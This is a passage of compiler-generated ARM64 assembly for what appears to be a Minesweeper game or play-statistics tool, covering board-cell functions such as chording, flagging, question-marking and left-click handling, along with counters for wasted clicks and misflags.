cset w8, eq
tbnz w8, #0, LBB32_6
b LBB32_5
LBB32_5: ; in Loop: Header=BB32_3 Depth=2
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB32_6
LBB32_6: ; in Loop: Header=BB32_3 Depth=2
b LBB32_7
LBB32_7: ; in Loop: Header=BB32_3 Depth=2
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB32_3
LBB32_8: ; in Loop: Header=BB32_1 Depth=1
b LBB32_9
LBB32_9: ; in Loop: Header=BB32_1 Depth=1
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB32_1
LBB32_10:
ldr w0, [sp, #28]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _do_chord ; -- Begin function do_chord
.p2align 2
_do_chord: ; @do_chord
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
str x9, [sp, #8] ; 8-byte Folded Spill
adrp x10, _wasted_d_clicks@GOTPAGE
ldr x10, [x10, _wasted_d_clicks@GOTPAGEOFF]
str x10, [sp, #16] ; 8-byte Folded Spill
adrp x10, _wasted_clicks_15@GOTPAGE
ldr x10, [x10, _wasted_clicks_15@GOTPAGEOFF]
str x10, [sp, #24] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
stur w2, [x29, #-12]
mov w10, #1
stur w10, [x29, #-16]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #16]
stur w8, [x29, #-28] ; 4-byte Folded Spill
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _flags_around
ldur w8, [x29, #-28] ; 4-byte Folded Reload
subs w8, w8, w0
cset w8, ne
tbnz w8, #0, LBB33_33
b LBB33_1
LBB33_1:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB33_33
b LBB33_2
LBB33_2:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #20]
stur w8, [x29, #-20]
b LBB33_3
LBB33_3: ; =>This Loop Header: Depth=1
; Child Loop BB33_5 Depth 2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB33_13
b LBB33_4
LBB33_4: ; in Loop: Header=BB33_3 Depth=1
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #28]
stur w8, [x29, #-24]
b LBB33_5
LBB33_5: ; Parent Loop BB33_3 Depth=1
; => This Inner Loop Header: Depth=2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldur w8, [x29, #-24]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB33_11
b LBB33_6
LBB33_6: ; in Loop: Header=BB33_5 Depth=2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldur w9, [x29, #-24]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-20]
add w9, w9, w10
mov w10, #56
smull x9, w9, w10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB33_9
b LBB33_7
LBB33_7: ; in Loop: Header=BB33_5 Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-24]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-20]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB33_9
b LBB33_8
LBB33_8: ; in Loop: Header=BB33_5 Depth=2
bl _fail
b LBB33_9
LBB33_9: ; in Loop: Header=BB33_5 Depth=2
b LBB33_10
LBB33_10: ; in Loop: Header=BB33_5 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB33_5
LBB33_11: ; in Loop: Header=BB33_3 Depth=1
b LBB33_12
LBB33_12: ; in Loop: Header=BB33_3 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB33_3
LBB33_13:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #20]
stur w8, [x29, #-20]
b LBB33_14
LBB33_14: ; =>This Loop Header: Depth=1
; Child Loop BB33_16 Depth 2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB33_28
b LBB33_15
LBB33_15: ; in Loop: Header=BB33_14 Depth=1
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #28]
stur w8, [x29, #-24]
b LBB33_16
LBB33_16: ; Parent Loop BB33_14 Depth=1
; => This Inner Loop Header: Depth=2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldur w8, [x29, #-24]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB33_26
b LBB33_17
LBB33_17: ; in Loop: Header=BB33_16 Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-24]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-20]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB33_20
b LBB33_18
LBB33_18: ; in Loop: Header=BB33_16 Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-24]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-20]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB33_20
b LBB33_19
LBB33_19: ; in Loop: Header=BB33_16 Depth=2
ldur w0, [x29, #-24]
ldur w1, [x29, #-20]
bl _do_open
stur wzr, [x29, #-16]
b LBB33_24
LBB33_20: ; in Loop: Header=BB33_16 Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-24]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-20]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB33_23
b LBB33_21
LBB33_21: ; in Loop: Header=BB33_16 Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-24]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-20]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #44]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB33_23
b LBB33_22
LBB33_22: ; in Loop: Header=BB33_16 Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-24]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-20]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
str wzr, [x8, #44]
adrp x9, _wasted_flags@GOTPAGE
ldr x9, [x9, _wasted_flags@GOTPAGEOFF]
ldr w8, [x9]
subs w8, w8, #1
str w8, [x9]
b LBB33_23
LBB33_23: ; in Loop: Header=BB33_16 Depth=2
b LBB33_24
LBB33_24: ; in Loop: Header=BB33_16 Depth=2
b LBB33_25
LBB33_25: ; in Loop: Header=BB33_16 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB33_16
LBB33_26: ; in Loop: Header=BB33_14 Depth=1
b LBB33_27
LBB33_27: ; in Loop: Header=BB33_14 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB33_14
LBB33_28:
ldur w8, [x29, #-16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB33_32
b LBB33_29
LBB33_29:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
ldur w8, [x29, #-12]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB33_31
b LBB33_30
LBB33_30:
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB33_31
LBB33_31:
b LBB33_32
LBB33_32:
b LBB33_36
LBB33_33:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _pop_around
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
ldur w8, [x29, #-12]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB33_35
b LBB33_34
LBB33_34:
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB33_35
LBB33_35:
b LBB33_36
LBB33_36:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _do_set_flag ; -- Begin function do_set_flag
.p2align 2
_do_set_flag: ; @do_set_flag
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x9, _board@GOTPAGE
ldr x9, [x9, _board@GOTPAGEOFF]
str x9, [sp, #24] ; 8-byte Folded Spill
adrp x10, _h@GOTPAGE
ldr x10, [x10, _h@GOTPAGEOFF]
stur x10, [x29, #-16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldr x12, [x9]
ldur w8, [x29, #-4]
ldr w11, [x10]
mul w8, w8, w11
ldur w11, [x29, #-8]
add w8, w8, w11
mov w11, #56
smaddl x11, w8, w11, x12
mov w8, #1
str w8, [x11, #44]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
str w8, [x9, #40]
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
ldr x0, [x8]
ldur w8, [x29, #-4]
add w11, w8, #1
ldur w8, [x29, #-8]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x1, l_.str.10@PAGE
add x1, x1, l_.str.10@PAGEOFF
bl _fprintf
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldur x10, [x29, #-16] ; 8-byte Folded Reload
adrp x11, _flags@GOTPAGE
ldr x11, [x11, _flags@GOTPAGEOFF]
ldr w9, [x11]
add w9, w9, #1
str w9, [x11]
adrp x11, _wasted_flags@GOTPAGE
ldr x11, [x11, _wasted_flags@GOTPAGEOFF]
ldr w9, [x11]
add w9, w9, #1
str w9, [x11]
ldr x8, [x8]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smull x9, w9, w10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB34_2
b LBB34_1
LBB34_1:
adrp x9, _misflags@GOTPAGE
ldr x9, [x9, _misflags@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB34_2
LBB34_2:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _do_question ; -- Begin function do_question
.p2align 2
_do_question: ; @do_question
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
stur w1, [x29, #-8]
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
ldr x10, [x8]
ldur w8, [x29, #-4]
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x9, w8, w9, x10
mov w8, #1
str w8, [x9, #48]
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
ldr x0, [x8]
ldur w8, [x29, #-4]
add w11, w8, #1
ldur w8, [x29, #-8]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x1, l_.str.11@PAGE
add x1, x1, l_.str.11@PAGEOFF
bl _fprintf
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _do_unset_flag ; -- Begin function do_unset_flag
.p2align 2
_do_unset_flag: ; @do_unset_flag
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
stur x9, [x29, #-16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldr x12, [x8]
ldur w10, [x29, #-4]
ldr w11, [x9]
mul w10, w10, w11
ldur w11, [x29, #-8]
add w10, w10, w11
mov w11, #56
smaddl x10, w10, w11, x12
str wzr, [x10, #48]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
str wzr, [x8, #40]
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
ldr x0, [x8]
ldur w8, [x29, #-4]
add w11, w8, #1
ldur w8, [x29, #-8]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x1, l_.str.12@PAGE
add x1, x1, l_.str.12@PAGEOFF
bl _fprintf
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldur x10, [x29, #-16] ; 8-byte Folded Reload
adrp x11, _flags@GOTPAGE
ldr x11, [x11, _flags@GOTPAGEOFF]
ldr w9, [x11]
subs w9, w9, #1
str w9, [x11]
adrp x11, _unflags@GOTPAGE
ldr x11, [x11, _unflags@GOTPAGEOFF]
ldr w9, [x11]
add w9, w9, #1
str w9, [x11]
ldr x8, [x8]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smull x9, w9, w10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB36_2
b LBB36_1
LBB36_1:
adrp x9, _misunflags@GOTPAGE
ldr x9, [x9, _misunflags@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB36_2
LBB36_2:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _do_flag_around ; -- Begin function do_flag_around
.p2align 2
_do_flag_around: ; @do_flag_around
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
str x9, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #20]
stur w8, [x29, #-12]
b LBB37_1
LBB37_1: ; =>This Loop Header: Depth=1
; Child Loop BB37_3 Depth 2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldur w8, [x29, #-12]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB37_11
b LBB37_2
LBB37_2: ; in Loop: Header=BB37_1 Depth=1
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #28]
str w8, [sp, #16]
b LBB37_3
LBB37_3: ; Parent Loop BB37_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [sp, #16]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB37_9
b LBB37_4
LBB37_4: ; in Loop: Header=BB37_3 Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldr w8, [sp, #16]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-12]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB37_7
b LBB37_5
LBB37_5: ; in Loop: Header=BB37_3 Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldr w8, [sp, #16]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-12]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB37_7
b LBB37_6
LBB37_6: ; in Loop: Header=BB37_3 Depth=2
ldr w0, [sp, #16]
ldur w1, [x29, #-12]
bl _do_set_flag
b LBB37_7
LBB37_7: ; in Loop: Header=BB37_3 Depth=2
b LBB37_8
LBB37_8: ; in Loop: Header=BB37_3 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB37_3
LBB37_9: ; in Loop: Header=BB37_1 Depth=1
b LBB37_10
LBB37_10: ; in Loop: Header=BB37_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB37_1
LBB37_11:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _closed_sq_around ; -- Begin function closed_sq_around
.p2align 2
_closed_sq_around: ; @closed_sq_around
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
str x9, [sp, #16] ; 8-byte Folded Spill
str w0, [sp, #44]
str w1, [sp, #40]
str wzr, [sp, #28]
ldr x10, [x8]
ldr w8, [sp, #44]
ldr w9, [x9]
mul w8, w8, w9
ldr w9, [sp, #40]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #20]
str w8, [sp, #36]
b LBB38_1
LBB38_1: ; =>This Loop Header: Depth=1
; Child Loop BB38_3 Depth 2
ldr x10, [sp, #16] ; 8-byte Folded Reload
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #36]
ldr x11, [x9]
ldr w9, [sp, #44]
ldr w10, [x10]
mul w9, w9, w10
ldr w10, [sp, #40]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB38_10
b LBB38_2
LBB38_2: ; in Loop: Header=BB38_1 Depth=1
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [x8]
ldr w8, [sp, #44]
ldr w9, [x9]
mul w8, w8, w9
ldr w9, [sp, #40]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #28]
str w8, [sp, #32]
b LBB38_3
LBB38_3: ; Parent Loop BB38_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x10, [sp, #16] ; 8-byte Folded Reload
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #32]
ldr x11, [x9]
ldr w9, [sp, #44]
ldr w10, [x10]
mul w9, w9, w10
ldr w10, [sp, #40]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB38_8
b LBB38_4
LBB38_4: ; in Loop: Header=BB38_3 Depth=2
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [x8]
ldr w8, [sp, #32]
ldr w9, [x9]
mul w8, w8, w9
ldr w9, [sp, #36]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB38_6
b LBB38_5
LBB38_5: ; in Loop: Header=BB38_3 Depth=2
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB38_6
LBB38_6: ; in Loop: Header=BB38_3 Depth=2
b LBB38_7
LBB38_7: ; in Loop: Header=BB38_3 Depth=2
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB38_3
LBB38_8: ; in Loop: Header=BB38_1 Depth=1
b LBB38_9
LBB38_9: ; in Loop: Header=BB38_1 Depth=1
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB38_1
LBB38_10:
ldr w0, [sp, #28]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _left_click ; -- Begin function left_click
.p2align 2
_left_click: ; @left_click
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _chorded@GOTPAGE
ldr x8, [x8, _chorded@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x8, _h@GOTPAGE
ldr x8, [x8, _h@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
stur w2, [x29, #-12]
stur w3, [x29, #-16]
adrp x8, _left@GOTPAGE
ldr x8, [x8, _left@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB39_2
b LBB39_1
LBB39_1:
b LBB39_24
LBB39_2:
ldur w8, [x29, #-4]
adrp x9, _cur_x@GOTPAGE
ldr x9, [x9, _cur_x@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB39_4
b LBB39_3
LBB39_3:
ldur w8, [x29, #-8]
adrp x9, _cur_y@GOTPAGE
ldr x9, [x9, _cur_y@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB39_5
b LBB39_4
LBB39_4:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
ldur w2, [x29, #-12]
ldur w3, [x29, #-16]
bl _mouse_move
b LBB39_5
LBB39_5:
adrp x8, _left@GOTPAGE
ldr x8, [x8, _left@GOTPAGEOFF]
str wzr, [x8]
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _is_inside_board
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB39_7
b LBB39_6
LBB39_6:
ldr x8, [sp, #8] ; 8-byte Folded Reload
str wzr, [x8]
b LBB39_24
LBB39_7:
adrp x8, _right@GOTPAGE
ldr x8, [x8, _right@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB39_11
b LBB39_8
LBB39_8:
adrp x8, _shift_left@GOTPAGE
ldr x8, [x8, _shift_left@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB39_11
b LBB39_9
LBB39_9:
adrp x8, _superclick@GOTPAGE
ldr x8, [x8, _superclick@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB39_14
b LBB39_10
LBB39_10:
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB39_14
b LBB39_11
LBB39_11:
adrp x9, _d_clicks@GOTPAGE
ldr x9, [x9, _d_clicks@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
adrp x8, _onedotfive@GOTPAGE
ldr x8, [x8, _onedotfive@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB39_13
b LBB39_12
LBB39_12:
